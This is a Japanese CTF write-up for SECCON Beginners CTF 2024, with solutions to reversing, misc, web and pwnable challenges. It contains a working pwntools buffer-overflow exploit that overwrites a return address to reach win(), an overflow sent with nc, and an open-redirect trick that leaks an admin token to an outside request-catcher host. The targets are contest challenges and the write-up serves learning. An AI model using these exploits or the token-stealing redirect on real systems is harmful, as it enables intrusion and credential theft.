目次
はじめに
2024年6月8日~9日に開催されたSECCON Beginners CTF 2024に参加しました。
結果はチーム「THE Students」で945ポイント、全962チーム中69位でした。
reversing
construct
解法
Ghidraで中身を眺めているとfunc_XXXXXXXX
という関数がズラーっと並んでいて中を見るとUsageを出力する関数、文字列長が32であるか確認する関数、”WRONG”と出力する関数、strncmp()で比較を行っている関数*16があることが分かる。
strncmp()の3つ目の引数がいずれも2なのでそれぞれの関数から2文字ずつ引っ張ってこれば良いことは分かるが、関数の実行順が分からん。
Ghidraを眺めていてもどうにもならなかったのでgdbで各関数の先頭にb *func_XXXXXXXX
とブレークポイントを張って気合で探索した。i番目に実行される関数のi*2-1, i*2文字目がFlagになるので最初に文字列を適当に32文字埋めて実行される関数の確認とFlagの構築を繰り返した。これ自動化したかったんですけどどうすりゃええんや…。
以下そのときのメモ。
0x00000000000011e9 func_e0db2736 // Usage
0x000000000000121e func_f8db6e92 // Len = 32
0x0000000000001257 func_91e3f562 // "c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh"
0x00000000000012c3 func_c285f76d // "9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo"
0x000000000000132f func_b548021f // "lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w"
0x000000000000139b func_af41723c // "l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o"
0x0000000000001407 func_1f5eba30 // "17zv5h6wjgbqerastioc294n0lxu38fdk_ypm"
0x0000000000001473 func_da53ce29 // "_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a"
0x00000000000014df func_bae805f6 // "1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx"
0x000000000000154b func_d902e81f // "tufij3cykhrsl841qo6_0dwg529zanmbpvxe7"
0x00000000000015b7 func_74b2a53c // "r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3"
0x0000000000001623 func_3d90c2fa // "aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es"
0x000000000000168f func_69fd4a70 // "l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch"
0x00000000000016fb func_9e540c6a // "c0_d4yk261hbosje893w5igzfrvaumqlptx7n"
0x0000000000001767 func_35efd7b6 // "b0i21csjhqug_3erat9f6mx854pyol7zkvdwn"
0x00000000000017d3 func_3b8e07a4 // "3mq16t9yfs842cbvlw5j7k0prohengduzx_ai"
0x000000000000183f func_21670b38 // "oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5"
0x00000000000018ab func_30b49da1 // "3icj_go9qd0svxubefh14ktywpzma2l7nr685"
0x0000000000001917 main
0x0000000000001965 func_dc69ef50 // "WRONG"
<func_9e540c6a+0> c0
<func_21670b38+0> ns
<func_b548021f+0> 7r
<func_c285f76d+0> uc
<func_74b2a53c+0> 70
<func_d902e81f+0> rs
<func_35efd7b6+0> _3
<func_1f5eba30+0> as
<func_bae805f6+0> 3_
<func_30b49da1+0> h1
<func_91e3f562+0> d1
<func_af41723c+0> ng
<func_69fd4a70+0> _7
<func_3d90c2fa+0> h1
<func_3b8e07a4+0> ng
<func_da53ce29+0> s!
c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
実行して投げて正しいことを確認した。
$ ./construct c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
CONGRATULATIONS!
The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
Flag
ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
former-seccomp
解法
Ghidraのでコンパイル結果からいい感じにPythonでトレースした。
# FUN_00101497
def FUN_00101497(param1, param2):
local_118 = list(range(0x100))
pvVar1 = [0] * len(param1)
local_148 = 0
for local_150 in range(0x100):
local_148 = (param2[local_150 % len(param2)] + local_118[local_150] + local_148) & 0xff
# FUN_00101463(local_118 + local_150, local_118 + local_148)
local_118[local_150], local_118[local_148] = local_118[local_148], local_118[local_150]
local_140 = 0
local_138 = 0
for local_130 in range(len(param1)):
local_140 = (local_140 + 1) & 0xff
local_138 = (local_138 + local_118[local_140]) & 0xff
# FUN_00101463(local_118 + local_140, local_118 + local_138)
local_118[local_140], local_118[local_138] = local_118[local_138], local_118[local_140]
pvVar1[local_130] = local_118[(local_118[local_138] + local_118[local_140]) & 0xff] ^ param1[local_130]
return pvVar1
# FUN_00101737
def FUN_00101737():
DAT_00104010 = [
0xa5, 0xd2, 0xbc, 0x02, 0xb2, 0x7c, 0x86, 0x38, 0x17, 0xb1, 0x38, 0xc6, 0xe4, 0x5c, 0x1f, 0xa0, 0x9d, 0x96, 0xd1, 0xf0, 0x4b, 0xa6, 0xa6, 0x5c, 0x64, 0xb7,
# 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
]
DAT_00104030 = [
0x43, 0x55, 0x44, 0x17, 0x46, 0x1f, 0x14, 0x17, 0x1a, 0x1d,
# 0x00,
]
DAT_00104030_2 = []
for i in range(len(DAT_00104030)):
DAT_00104030_2.append(i + 0x20 ^ DAT_00104030[i])
lvar3 = FUN_00101497(DAT_00104010, DAT_00104030_2)
print("".join(map(chr, lvar3)))
if __name__ == "__main__":
FUN_00101737()
Flag
ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}
misc
getRank
解法
桁数制限的に無理ゲーに見えたけどparseIntが16進数も通るようなので試したら通った。
$ curl -X POST -H "Content-Type: application/json" -d '{"input":"0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}' https://getrank.beginners.seccon.g
ames/
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
Flag
ctf4b{15_my_5c0r3_700000_b1g?}
clamre
解法
正規表現頑張るだけ。全体の()が\1で中は左から順に(\x63\x74\x66)が\2、(4)が\3と続いていくので気を付けましょう(1敗)。
Flag
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
web
wooorker
解法
https://requestcatcher.com/ 等のリクエスト可視化できるものを使って、脆弱性報告ページに入力するログインページのリダイレクト先に指定すればadminのtokenを奪える(login?next=//aa.requestcatcher.com/
と投げれば良い)。
Flag
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
pwnable
simpleoverflow
解法
バッファが溢れるように適当に投げれば良い。
$ nc simpleoverflow.beginners.seccon.games 9000
name:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Hello, 1111111111111111�^�
ctf4b{0n_y0ur_m4rk}
Flag
ctf4b{0n_y0ur_m4rk}
simpleoverwrite
解法
オフセットが18であるのがプログラム18行目から分かるので18バイト適当に投げて調整してからwin()のアドレスを投げれば良い。
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("simpleoverwrite.beginners.seccon.games", 9001)
return r
def main():
r = conn()
r.send(b"A" * 18 + p64(0x401186))
r.interactive()
if __name__ == "__main__":
main()
$ python solver.py
input:Hello, AAAAAAAAAAAAAAAAAA\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}
Flag
ctf4b{B3l13v3_4g41n}
おわりに
去年よりも多く解くことができて良かったです。特にreversingのhard解けたのは成長を実感しました。
cryptoとwebに相変わらず苦手意識があるからなんとかしたい。